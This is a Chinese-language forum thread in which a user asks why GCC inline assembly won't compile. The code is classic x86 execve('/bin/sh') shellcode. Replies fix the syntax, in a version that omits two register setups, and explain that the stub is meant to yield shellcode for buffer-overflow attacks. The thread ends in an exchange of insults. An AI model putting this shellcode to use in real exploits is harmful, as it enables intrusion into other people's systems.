linux 汇编嵌入C语言问题

hudong

下面这段代码是实现一个非常简单的exec的系统调用，为什么在redhat linux enterprise4 下，编译不通过呢？对汇编嵌入C不懂，还请大虾指教，谢谢！

1. 
   
2. void main()
   
3. {
   
4.         __asm__("
   
5.                 jmp    1f
   
6.         2:        popl   %esi
   
7.                 movl   %esi,0x8(%esi)
   
8.                 xorl   %eax,%eax
   
9.                 movb   %eax,0x7(%esi)
   
10.                 movl   %eax,0xc(%esi)
    
11.                 movb   $0xb,%al
    
12.                 movl   %esi,%ebx
    
13.                 leal   0x8(%esi),%ecx
    
14.                 leal   0xc(%esi),%edx
    
15.                 int    $0x80
    
16.                 xorl   %ebx,%ebx
    
17.                 movl   %ebx,%eax
    
18.                 inc    %eax
    
19.                 int    $0x80
    
20.         1:        call   2b
    
21.                 .string \"/bin/sh\"
    
22.         ");
    
23. }
    
24. 
    
25. 
    

复制代码

出错提示：

1. 
   
2. 
   
3. shell.c: In function `main':
   
4. shell.c:3: error: missing terminating " character
   
5. shell.c:4:10: invalid suffix "f" on integer constant
   
6. shell.c:4: error: `jmp' undeclared (first use in this function)
   
7. shell.c:4: error: (Each undeclared identifier is reported only once
   
8. shell.c:4: error: for each function it appears in.)
   
9. shell.c:4: error: syntax error before numeric constant
   
10. shell.c:19:12: invalid suffix "b" on integer constant
    
11. shell.c:20: error: stray '\' in program
    
12. shell.c:20: error: missing terminating " character
    
13. shell.c:21: error: missing terminating " character
    
14. shell.c:2: warning: return type of 'main' is not `int'
    
15. 
    

复制代码

hudong

自己顶一下！

aero

对汇编不懂为什么要搞这个东西呢？从什么地方看的写shellcode的东西吧？^_^，好久不写了，记不清楚了。似乎多行的话，后面要写\n的，然后%号用%%。试试吧，都是语法细节的问题。

kj501

1. 
   
2. int main()
   
3. {
   
4.         __asm__(
   
5.                 "jmp 1f\n\t"
   
6.                 "2:\n\t"
   
7.                 "popl %%esi\n\t"
   
8.                 "movl %%esi,0x8(%%esi)\n\t"
   
9.                 "xorl %%eax,%%eax\n\t"
   
10.                 "movb %%eax,0x7(%%esi)\n\t"
    
11.                 "movl %%eax,0xc(%%esi)\n\t"
    
12.                 "movb $0xb,%%al\n\t"
    
13.                 "movl %%esi,%%ebx\n\t"
    
14.                 "int  $0x80\n\t"
    
15.                 "xorl %%ebx,%%ebx\n\t"
    
16.                 "movl %%ebx,%%eax\n\t"
    
17.                 "inc  %%eax\n\t"
    
18.                 "int  $0x80\n\t"
    
19.                 "1:\n\t"
    
20.                 "call 2b\n\t"
    
21.                 ".string \"/bin/sh\""
    
22.                 :
    
23.                 :);
    
24. }
    

复制代码

可以编译通过。但程序好象不完整，单独运行会出错。%esi中的值是从那里来的？应该有个参数提供给它吧。

aero

^_^，不用，esi的值就是string /bin/sh的地址。这个地方很巧妙的。巧妙的利用了call指令会将下一条指令的地址压栈来得到串的地址，从而传递给exec调用启动一个shell。

用这个程序得到一个shellcode，用在缓冲区溢出攻击中。

kj501

原帖由 "aero" 发表：
^_^，不用，esi的值就是string /bin/sh的地址。这个地方很巧妙的。巧妙的利用了call指令会将下一条指令的地址压栈来得到串的地址，从而传递给exec调用启动一个shell。

用这个程序得到一个shellcode，用在缓冲区溢..........

呵呵，多谢提醒，你不说我还真没看出来。

hudong

[quote]原帖由 "aero"]对汇编不懂为什么要搞这个东西呢？从什么地方看的写shellcode的东西吧？^_^，好久不写了，记不清楚了。似乎多行的话，后面要写\n的，然后%号用%%。试试吧，都是语法细节的问题。[/quote 发表：


SB呀你，想你这种LR才不懂也不学呢！SB一群！

albcamus

原帖由 "hudong" 发表：


SB呀你，想你这种LR才不懂也不学呢！SB一群！

我Kao,你胆子可真不小,来踢馆子了??
连嵌入汇编都搞不定,骂人倒是中气十足~~

win_hate

请教，什么是 LR ?

xujunxp

火气真不小啊，做人要厚道啊